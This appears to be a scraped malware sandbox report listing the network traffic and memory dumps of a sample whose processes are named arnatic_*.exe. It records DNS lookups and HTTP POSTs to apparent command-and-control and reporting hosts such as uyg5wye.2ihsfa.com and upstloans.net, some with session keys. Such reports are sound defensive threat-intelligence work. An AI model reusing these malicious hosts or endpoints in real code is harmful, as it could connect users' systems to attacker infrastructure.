        1.1kB
        9
        8

        HTTP Request

        GET http://uyg5wye.2ihsfa.com/api/fbtime

        HTTP Response

        200

        HTTP Request

        POST http://uyg5wye.2ihsfa.com/api/?sid=418197&key=9bc03743dc1f64e40e036436dbe00e03

        HTTP Response

        200
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 208.95.112.1:80
        http://ip-api.com/json/?fields=8198
        http
        SystemNetworkService
        2.8kB
        52 B
        11
        1

        HTTP Request

        GET http://ip-api.com/json/?fields=8198
      • 37.0.10.237:80
        arnatic_6.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 208.95.112.1:80
        http://ip-api.com/json/?fields=8198
        http
        SystemNetworkService
        1.6kB
        1.2kB
        10
        7

        HTTP Request

        GET http://ip-api.com/json/?fields=8198

        HTTP Response

        200

        HTTP Request

        GET http://ip-api.com/json/?fields=8198

        HTTP Response

        200

        HTTP Request

        GET http://ip-api.com/json/?fields=8198

        HTTP Response

        200

        HTTP Request

        GET http://ip-api.com/json/?fields=8198

        HTTP Response

        200
      • 172.67.179.248:443
        https://a.upstloans.net/report7.4.php
        tls, http
        SystemNetworkService
        1.3kB
        4.5kB
        9
        11

        HTTP Request

        POST https://a.upstloans.net/report7.4.php

        HTTP Response

        200
      • 37.0.10.237:80
        arnatic_6.exe
        152 B
        3
      • 104.21.31.210:443
        https://b.upstloans.net/report7.4.php
        tls, http
        SystemNetworkService
        1.3kB
        4.5kB
        9
        11

        HTTP Request

        POST https://b.upstloans.net/report7.4.php

        HTTP Response

        200
      • 172.67.179.248:443
        https://a.upstloans.net/report7.4.php
        tls, http
        SystemNetworkService
        1.2kB
        1.4kB
        8
        8

        HTTP Request

        POST https://a.upstloans.net/report7.4.php

        HTTP Response

        200
      • 172.67.179.248:443
        https://a.upstloans.net/report7.4.php
        tls, http
        SystemNetworkService
        1.2kB
        1.4kB
        8
        8

        HTTP Request

        POST https://a.upstloans.net/report7.4.php

        HTTP Response

        200
      • 37.0.10.237:80
        arnatic_6.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 37.0.10.237:80
        arnatic_6.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 37.0.10.237:80
        arnatic_6.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 37.0.10.237:80
        arnatic_6.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 37.0.10.237:80
        arnatic_6.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 37.0.10.237:80
        arnatic_6.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 37.0.10.237:80
        arnatic_6.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 31.13.64.35:443
        https://www.facebook.com/
        tls, http
        arnatic_4.exe
        6.4kB
        287.5kB
        120
        214

        HTTP Request

        GET https://www.facebook.com/

        HTTP Response

        200
      • 45.136.151.102:80
        http://uyg5wye.2ihsfa.com/api/?sid=421979&key=12efb0eea76684bfa0316a153004deda
        http
        arnatic_4.exe
        1.2kB
        801 B
        8
        7

        HTTP Request

        GET http://uyg5wye.2ihsfa.com/api/fbtime

        HTTP Response

        200

        HTTP Request

        POST http://uyg5wye.2ihsfa.com/api/?sid=421979&key=12efb0eea76684bfa0316a153004deda

        HTTP Response

        200
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 31.13.64.35:443
        https://www.facebook.com/
        tls, http
        arnatic_4.exe
        6.2kB
        282.5kB
        115
        211

        HTTP Request

        GET https://www.facebook.com/

        HTTP Response

        200
      • 45.136.151.102:80
        http://uyg5wye.2ihsfa.com/api/?sid=425581&key=44658f33f5ec8e12260acbe07a59933a
        http
        arnatic_4.exe
        1.2kB
        801 B
        8
        7

        HTTP Request

        GET http://uyg5wye.2ihsfa.com/api/fbtime

        HTTP Response

        200

        HTTP Request

        POST http://uyg5wye.2ihsfa.com/api/?sid=425581&key=44658f33f5ec8e12260acbe07a59933a

        HTTP Response

        200
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 8.8.8.8:53
        motiwa.xyz
        dns
        setup_install.exe
        56 B
        88 B
        1
        1

        DNS Request

        motiwa.xyz

        DNS Response

        104.21.12.59
        172.67.193.180

      • 8.8.8.8:53
        email.yg9.me
        dns
        SystemNetworkService
        58 B
        74 B
        1
        1

        DNS Request

        email.yg9.me

        DNS Response

        198.13.62.186

      • 8.8.8.8:53
        email.yg9.me
        dns
        SystemNetworkService
        58 B
        129 B
        1
        1

        DNS Request

        email.yg9.me

      • 198.13.62.186:53
        email.yg9.me
        SystemNetworkService
        33.1kB
        373.2kB
        628
        673
      • 8.8.8.8:53
        videoconvert-download38.xyz
        dns
        arnatic_5.exe
        73 B
        105 B
        1
        1

        DNS Request

        videoconvert-download38.xyz

        DNS Response

        172.67.201.250
        104.21.42.63

      • 8.8.8.8:53
        iplogger.org
        dns
        arnatic_5.exe
        58 B
        74 B
        1
        1

        DNS Request

        iplogger.org

        DNS Response

        88.99.66.31

      • 8.8.8.8:53
        ip-api.com
        dns
        SystemNetworkService
        56 B
        72 B
        1
        1

        DNS Request

        ip-api.com

        DNS Response

        208.95.112.1

      • 8.8.8.8:53
        sergeevih43.tumblr.com
        dns
        arnatic_1.exe
        68 B
        100 B
        1
        1

        DNS Request

        sergeevih43.tumblr.com

        DNS Response

        74.114.154.18
        74.114.154.22

      • 8.8.8.8:53
        www.facebook.com
        dns
        arnatic_4.exe
        62 B
        107 B
        1
        1

        DNS Request

        www.facebook.com

        DNS Response

        31.13.64.35

      • 8.8.8.8:53
        wfsdragon.ru
        dns
        arnatic_6.exe
        58 B
        90 B
        1
        1

        DNS Request

        wfsdragon.ru

        DNS Response

        104.21.5.208
        172.67.133.215

      • 8.8.8.8:53
        ipinfo.io
        dns
        arnatic_6.exe
        55 B
        71 B
        1
        1

        DNS Request

        ipinfo.io

        DNS Response

        34.117.59.81

      • 8.8.8.8:53
        pki.goog
        dns
        arnatic_6.exe
        54 B
        70 B
        1
        1

        DNS Request

        pki.goog

        DNS Response

        216.239.32.29

      • 198.13.62.186:53
        email.yg9.me
        SystemNetworkService
        62.7kB
        678.7kB
        1193
        1218
      • 8.8.8.8:53
        uyg5wye.2ihsfa.com
        dns
        arnatic_4.exe
        64 B
        80 B
        1
        1

        DNS Request

        uyg5wye.2ihsfa.com

        DNS Response

        45.136.151.102

      • 8.8.8.8:53
        a.upstloans.net
        dns
        SystemNetworkService
        61 B
        93 B
        1
        1

        DNS Request

        a.upstloans.net

        DNS Response

        172.67.179.248
        104.21.31.210

      • 8.8.8.8:53
        b.upstloans.net
        dns
        SystemNetworkService
        61 B
        93 B
        1
        1

        DNS Request

        b.upstloans.net

        DNS Response

        104.21.31.210
        172.67.179.248

      • 8.8.8.8:53
        www.facebook.com
        dns
        arnatic_4.exe
        62 B
        107 B
        1
        1

        DNS Request

        www.facebook.com

        DNS Response

        31.13.64.35

      • 8.8.8.8:53
        www.facebook.com
        dns
        arnatic_4.exe
        62 B
        107 B
        1
        1

        DNS Request

        www.facebook.com

        DNS Response

        31.13.64.35

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/764-167-0x0000000002290000-0x0000000002391000-memory.dmp

        Filesize

        1.0MB

      • memory/764-169-0x0000000000360000-0x00000000003BD000-memory.dmp

        Filesize

        372KB

      • memory/872-168-0x0000000000A90000-0x0000000000ADC000-memory.dmp

        Filesize

        304KB

      • memory/872-170-0x00000000014C0000-0x0000000001531000-memory.dmp

        Filesize

        452KB

      • memory/900-157-0x0000000000CA0000-0x0000000000CA1000-memory.dmp

        Filesize

        4KB

      • memory/1204-89-0x0000000064940000-0x0000000064959000-memory.dmp

        Filesize

        100KB

      • memory/1204-106-0x0000000064940000-0x0000000064959000-memory.dmp

        Filesize

        100KB

      • memory/1204-91-0x0000000064940000-0x0000000064959000-memory.dmp

        Filesize

        100KB

      • memory/1204-90-0x000000006B440000-0x000000006B4CF000-memory.dmp

        Filesize

        572KB

      • memory/1204-93-0x000000006FE40000-0x000000006FFC6000-memory.dmp

        Filesize

        1.5MB

      • memory/1204-95-0x000000006B280000-0x000000006B2A6000-memory.dmp

        Filesize

        152KB

      • memory/1204-97-0x0000000000400000-0x000000000051E000-memory.dmp

        Filesize

        1.1MB

      • memory/1204-94-0x000000006B280000-0x000000006B2A6000-memory.dmp

        Filesize

        152KB

      • memory/1204-107-0x0000000064940000-0x0000000064959000-memory.dmp

        Filesize

        100KB

      • memory/1204-109-0x000000006B440000-0x000000006B4CF000-memory.dmp

        Filesize

        572KB

      • memory/1204-92-0x000000006FE40000-0x000000006FFC6000-memory.dmp

        Filesize

        1.5MB

      • memory/1204-96-0x0000000000400000-0x000000000051E000-memory.dmp

        Filesize

        1.1MB

      • memory/1288-147-0x0000000000A70000-0x0000000000A71000-memory.dmp

        Filesize

        4KB

      • memory/1288-155-0x0000000000380000-0x0000000000381000-memory.dmp

        Filesize

        4KB

      • memory/1288-156-0x000000001AF50000-0x000000001AF52000-memory.dmp

        Filesize

        8KB

      • memory/1288-154-0x0000000000360000-0x000000000037F000-memory.dmp

        Filesize

        124KB

      • memory/1288-153-0x0000000000350000-0x0000000000351000-memory.dmp

        Filesize

        4KB

      • memory/1460-175-0x0000000000400000-0x0000000000949000-memory.dmp

        Filesize

        5.3MB

      • memory/1460-173-0x0000000000950000-0x00000000009ED000-memory.dmp

        Filesize

        628KB

      • memory/1476-194-0x0000000000830000-0x0000000000831000-memory.dmp

        Filesize

        4KB

      • memory/1736-176-0x0000000000400000-0x000000000041E000-memory.dmp

        Filesize

        120KB

      • memory/1736-189-0x00000000044D0000-0x00000000044D1000-memory.dmp

        Filesize

        4KB

      • memory/1736-182-0x0000000000400000-0x000000000041E000-memory.dmp

        Filesize

        120KB

      • memory/1808-60-0x0000000076641000-0x0000000076643000-memory.dmp

        Filesize

        8KB

      • memory/1824-174-0x0000000000480000-0x00000000004F1000-memory.dmp

        Filesize

        452KB

      • memory/2004-198-0x00000000000E0000-0x000000000012E000-memory.dmp

        Filesize

        312KB

      • memory/2004-199-0x0000000000470000-0x00000000004E4000-memory.dmp

        Filesize

        464KB

      • memory/2004-200-0x000007FEFBED1000-0x000007FEFBED3000-memory.dmp

        Filesize

        8KB

      • memory/2004-201-0x0000000001C10000-0x0000000001C2B000-memory.dmp

        Filesize

        108KB

      • memory/2004-202-0x00000000030D0000-0x00000000031D6000-memory.dmp

        Filesize

        1.0MB

      We care about your privacy.

      This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.